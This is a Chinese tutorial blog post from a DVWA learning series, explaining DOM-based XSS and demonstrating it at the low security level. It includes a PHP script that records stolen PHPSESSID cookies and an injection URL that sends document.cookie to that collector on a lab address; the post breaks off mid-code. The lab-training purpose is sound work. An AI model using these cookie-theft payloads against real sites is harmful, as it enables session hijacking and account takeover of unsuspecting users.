2019-3-2 dvwa学习(5)--DOM型XSS攻击

什么是XSS攻击?
XSS,Cross-site Scripting ,跨站脚本攻击,是一种注入型攻击, 它会把恶意脚本(malicious scripts) 注入其他网站中。当攻击者使用Web应用程序向不同的最终用户发送恶意脚本(通常以浏览器脚本的形式)时,就会发生XSS攻击。
能让这些攻击成功的缺陷非常普遍,例如:Web应用程序在其生成的输出中使用了用户输入,同时又不做验证(validating)或编码(encoding)。

攻击者使用XSS将恶意脚本发送给不知情的用户,而用户的浏览器无法知道不应信任该脚本,因此将执行该脚本。因为浏览器认为恶意脚本来自可信来源,所以该脚本可以访问浏览器保留并用于该站点的任何cookie、会话令牌(session tokens)或其他敏感信息。这些脚本甚至可以重写HTML页面的内容。

XSS攻击有3种:

  1. Store XSS,存储型
  2. Reflected XSS,反射型
  3. DOM Based XSS,DOM型

什么是DOM?
DOM(Document Object Model)即文档对象模型, 定义了访问HTML和XML文档的标准。

DOM型XSS攻击是DOM的一种攻击。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,例如:

  • document.referer
  • window. name
  • location
  • innerHTML
  • documen.write

客户端的脚本程序可以通过DOM动态检查和修改页面内容。它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行。如果DOM中的数据没有经过严格确认,就会被注入攻击。

DOM型XSS可能是反射型,也可能是存储型。

low级别

现在我们来看low级别的DOM型XSS攻击
界面如下
在这里插入图片描述看一下源码

<?php

# No protections, anything goes

?> 

什么也没有,对default参数没有进行任何的过滤。
那如何攻击呢?在浏览器中修改default参数内容即可。

例1:嵌入js脚本
在这里插入图片描述例2,获得cookie
在这里插入图片描述例3,获取cookie进阶
我懒得再搭建一个环境了,就把模拟攻击者的环境也放在dvwa环境中。也即是说攻击者的服务器地址就是192.168.99.10。
在/var/www/html/vulnerabilities/xss_d下创建getcookie.php

<?php
header("content-type:text/html;charset=utf8");
echo "hack";
echo "<pre>";
print_r($_GET);
echo "</pre>";
$cookie=$_GET['PHPSESSID'];
file_put_contents('./xss.txt',$cookie);
?>

就是把cookie保存在当前目录的xss.txt文件中。
攻击开始,在浏览器中按照以下URL注入

http://192.168.99.100/vulnerabilities/xss_d/?default=<script>var a=document.createElement('a');a.href='http://192.168.99.100/vulnerabilities/xss_d/getcookie.php?'+document.cookie;a.innerHTML="<img src='https://www.baidu.com/img/bd_logo1.png'>";document.body.appendChild(a);</script>

那么注入了什么呢?

<script>
var a =documen
  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值